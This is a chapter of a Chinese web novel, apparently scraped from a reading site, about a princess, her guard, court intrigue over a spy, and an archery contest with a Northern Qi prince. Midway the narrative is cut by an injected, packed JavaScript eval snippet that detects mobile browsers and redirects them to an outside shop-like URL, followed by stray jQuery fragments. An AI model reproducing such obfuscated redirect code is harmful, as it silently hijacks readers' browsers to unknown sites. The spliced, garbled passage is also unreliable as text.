15. 风起

作品:《被白月光公主强吻后

    云倾听了这话,惊得欲要拽着缰绳后撤,好在凌夜稳住她臂肘。


    云倾短暂前世记忆中,北齐人凶猛彪悍,眼前这人身形健硕,又出手狠辣,她方才对他无礼,难免害怕。


    但她很快稳下心神,不能丢了大梁脸面。


    “原来是齐国的使臣大人,是我眼拙,冒犯大人了,还请大人勿怪。”


    男子听她认出自己乃大齐人,豪爽笑道:“早闻梁国人也擅骑射,没想连女子都不甘示弱,不知姑娘此次,可猎到什么好东西了?”


    云倾扬唇笑笑,已是恢复从容:“大人过奖了,我只是来开开眼界,与我梁国子弟们是不能比的,大人若想见好东西,等午间清点时便能见到了。”


    男子见这小姑娘一边示弱,还一边给南梁撑场面,眸中多了几分探究之意。


    他记住她的样貌,勒马侧身对她道:“好,那等稍后野宴,再与姑娘相见了!”


    说罢策马而去,只留身后随从去给那斑鹿做上标记。


    围猎回来,许多人聚在山脚清点猎物,云倾没去凑热闹,派了江桐去看,回了寝帐,江梧给她打了盆清水,她卸了铠甲,净了脸和手,凌夜又从包袱里给她掏出一盒酸酪。


    正合云倾胃口,寝帐里有切成块儿的蜜瓜,她便坐下吃蜜瓜酸酪。


    凌夜不好在公主寝帐逗留,带着江梧退了出来。


    正喂凌风吃草,留意到不远处,一个将领装束的人望着自己。


    那是拓王麾下战将,傅钧策。


    他朝凌夜打了个手势,凌夜嘱咐江梧守好公主,朝他走去。


    傅钧策尚满二十,一袭戎装铠甲,俊朗眉目冷毅如星,倒映在凌夜深色瞳眸中,越是近身,便愈发清晰,最终与记忆中的模样重合到一起。


    凌夜敛下心中激荡,对着他恭敬拜下行了全礼。


    “见过傅将军。”


    傅钧策轻蹙起眉。


    只回了半礼,低沉的语声道:“凌侍卫,拓王有请。”


    萧骋等在帐中,见傅钧策将人带来,开门见山:“本王叫你来是要告诉你,那银针的主人本王查到了。”


    凌夜来不及见礼:“是谁?”


    “确实是逐鹰卫出了奸细,本王已按律处置。”


    凌夜一听便觉得不对:“背后之人是谁?王爷未曾追查吗?”


    萧骋便料到他会追问。


    这奸细若仅仅是要给他找麻烦,在军中生事的机会多之又多,且不易露马脚,可他偏偏还要把云倾搅和进来。


    如此便是要闹到御前。


    父皇气怒,就算不会降下责罚,至少也要冷落他些时日。


    凌夜观他神色,已有猜测:“王爷心中定有所指,甚至已查出幕后真凶,只是被陛下压下去了,是吗?”


    萧骋眼风扫向他。


    “陛下留有情面,王爷也甘心吗?”


    萧骋听他接连质问:“你被此事牵连,是觉得委屈吗?”


    凌夜微怔,随后明白过来,只惋惜般摇了摇头:“属下只替王爷不值。”


    他垂下视线,余光瞥到静立在一旁的钧策。


    “王爷今日放人一马,他日,别人未必给您留一条活路。”


    他这话太重,萧骋不禁压了压眉。


    背后之人是谁,他们都已心知肚明,今日随行队伍中,常居建康的几位皇子,唯三皇子萧瑜不在其中。


    父皇既小惩大戒,他也并非锱铢必较之人。


    可凌夜,一语道破,如此直言不讳。


    萧骋沉声:“你如此敏锐,细想便知父皇顾虑为何。”


    凌夜抬眸,果真一点即通,陛下近年削减官职、收拢兵权、垄断盐铁,虽动摇了士族根基,却远不到拔除之时。


    显王有一半谢氏血脉,朝中支持拥戴的士族众多,若只因此闲事公开惩处,怕会激起群愤。


    世家大族间并非毫无嫌隙,一一攻破,尚可把握,怕的便是他们寻到契机,拧成一股绳。


    凌夜思虑再三,不甘垂下了头。


    “你有军籍在身,是贺统领手下的人,这种话,今后休得再说。”


    听他搬出统领来提醒自己,紧抿的唇终是松开,应了声“是”。


    “但无论如何,此事还是要多谢你。”


    凌夜又诧异抬头。


    对上他眸中隐晦的温和,缓缓松了眉间:“王爷客气了。”


    萧骋又问:“云倾可知此事?”


    凌夜便将云倾那日所言转告:“公主心性纯挚,只当是世家针对王爷所为,并未联想到旁人。”


    如此也在萧骋意料之中,五妹妹尚且年幼,他亦不忍过早摧折:“该如何转告,你当清楚。”


    从拓王帐中退出,那头江桐正好回来。


    云倾听见他们说话,赶忙跑出来问:“怎么样?可是大梁的人赢了?”


    江桐气喘吁吁,一脸懊恼:“咱们这边,秋统领与秦少将军都猎到不少,比北齐那些个武将都强,但他们那个二皇子高彻是把好手!整个围场,数他箭下的猎物最多。”


    云倾遗憾地“啊…”了一声。


    江桐喘过气,又道:“他还猎到一只黑熊!”


    云倾肩膀一缩。


    这个二皇子,可真是个可怕的人……


    时辰快到,有小兵士过来,请五公主前去用宴。


    围场中央排了两列席座,云倾过来时,皇帝已经到了,坐在上首与北齐使臣说话。


    云倾只一打眼,便小声惊叫一声,钻到凌夜身后。


    几人一头雾水。


    “公主怎么了?”


    云倾拽着他腰束:“你瞧那个北齐二皇子,可是咱们在山林中遇到的人?”


    凌夜望去,使团为首那人,身形魁梧,浓眉鹰目,还真是。


    “公主怕他?”


    云倾心有余悸:“他能猎到黑熊……”


    凌夜随口嗤了一声:“猎到黑熊算什么,他若敢欺负公主,属下把他揍成一只熊。”


    云倾被他逗笑。


    上前请安是不敢了,只小步绕到了自己座位后面。


    凌夜边走边紧腰束,云倾这习惯可不好……


    所幸今日皇室来人不少,云倾位置靠后,那个二皇子高彻与人把酒言欢,注意不到她。


    宴席过半,高彻给手下人使个眼色,那使节便起身上前。


    “启禀梁国陛下!我等此番前来,除却我齐国陛下备下的礼品之外,我们二殿下也为梁国备了薄礼,今日围猎,特意带来给梁国陛下助兴!”


    皇帝听此笑道:“哦?二殿下有心了,不知是什么好物?”


    那使节一挥手,便见两名随从抬着把长弓走了上来。


    这弓宽约半丈,有近一人高,弓柄是用上等紫衫所制,以牛筋晒干捶打绑成弓弦,坚韧无比,识弓的人一眼便能认出是把好弓。


    高彻起身:“梁国陛下,这弓是出自我齐国宫匠之手,我珍藏已久,只是一直未能寻到与它相配之人,今日带来,便是想请梁国陛下一同见证,将它送给有缘的勇士。”


    皇帝略一勾唇,这弓沉厚,怕是能挽起之人便已不多,他设此一局,分明是想与大梁再比试一场,好寻机再压大梁一头。


    皇帝淡声问:“那依二殿下的意思,是怎么个见证法?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647556|188216||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>高彻笑道:“在我大齐,勇士都是凭真本事说话!梁国陛下不如叫人设上箭靶,我们借此切磋一场!”


    “好!”皇帝既然问了,就没有要退缩的意思,“既然二殿下诚意相送,我大梁的勇士也都打起精神来!朕倒要看看,这把宝弓能落在谁的手上!”


    大梁人也都听出深意,高声助威附和。


    皇帝语声浑厚:“秋长松、桓尽勉司射!在场所有人等,无论官阶品级,皆可来报!”


    秋长松与桓尽勉一同起身领旨。


    大梁人心神振奋,都想煞煞那二皇子威风,纷纷前来报名,这桓尽勉便是桓泽的父亲,如今的太国公爷,亦居太师,他身后的桓泽也与父亲请示,写上了名字。


    高彻既然敢设这个局,手中也有必胜的人选,派人将名字都报了上去。


    秋长松带人设靶,由近到远共设了五个射程,命名为一到五号。


    每个射程摆上两只箭靶,按“八”字型排开。


    两只五号靶便在最中间,也是离宴席最远的位置。


    众人见这阵仗,一个个摩拳擦掌,凌夜坐在云倾身后,也是注目观望,却见云倾转过来的侧颜有些低落。


    他探身问:“公主心情不佳?”


    云倾回头瞧他一眼:“我也想要那把宝弓。”


    凌夜未曾料想:“公主也喜欢弓箭?”


    云倾诚恳:“我觉得那弓做得很是漂亮。”


    ……


    墨绿的漆色浓重发亮,弓臂以金银双色绘了一只展翅凤凰,弓弰还各镶了一颗硕大的宝蓝钻石。


    确实漂亮……


    凌夜也看去,不过不是看成色,而是估摸起这弓的份量与韧性。


    他又望望那些个箭靶。


    云倾只听他凑到耳边:“公主等着,属下给您赢回来。”


    惊讶回过头,他已起身朝前去了。


    比试开始,桓尽勉身边随从唱名,第一个登场的乃大梁抚远老将军的曾孙,年仅十二,少年还未上过战场,身姿挺拔俊秀,已有将门之风,他上前来,给陛下行礼,再转身去拿那把长弓。


    才一上手,便暗中一惊,这弓比他想象得还要重上几分。


    他搭箭拉弦,稍作犹豫,只指向二号箭靶。


    众人心中了然。


    少年卯足力气,弓弦只拉到一半,瞄准射出,远处禁军旗语,二号靶九环。


    他年纪小,只想试个身手,行过礼便退了回去。


    大梁人知道此局难破,皆是严阵以待,反观高彻却是悠闲,接连数个南梁人都徘徊在三四号靶之间,他唇边浮起一丝嘲讽。


    “梁国,拓王麾下主将,傅钧策!”


    高彻看去,一名弱冠之年的将军起身。


    南梁的这些个老将,他远在大齐也能逐一细数,对年轻将领才是知之甚少,凝神打量起来。


    但对大梁人来说,傅钧策的名字倒并不陌生。


    虽不知是何身世,但他自小便被拓王收养,由拓王亲自教养长大,从军后更是追随拓王出生入死,忠心不二,年纪轻轻已坐到主将位置。


    他对皇帝行武将礼,起身取过长弓。


    箭尾抵上弓弦,站稳姿势,挽弓指向左侧五号。


    大梁人都眼前一亮,这可是第一个敢挑战五号之人,他神色坚毅,动作干脆,一箭射出,远处禁军旗语,五号靶七环。


    目前居首。


    “好——”大梁人起身长呼喝彩,气势大增,皇帝也当即有赏。


    傅钧策淡然不惊,俯身谢恩,回了座位。


    高彻稍稍侧首,让身后人做准备,也觉得这比试有意思起来。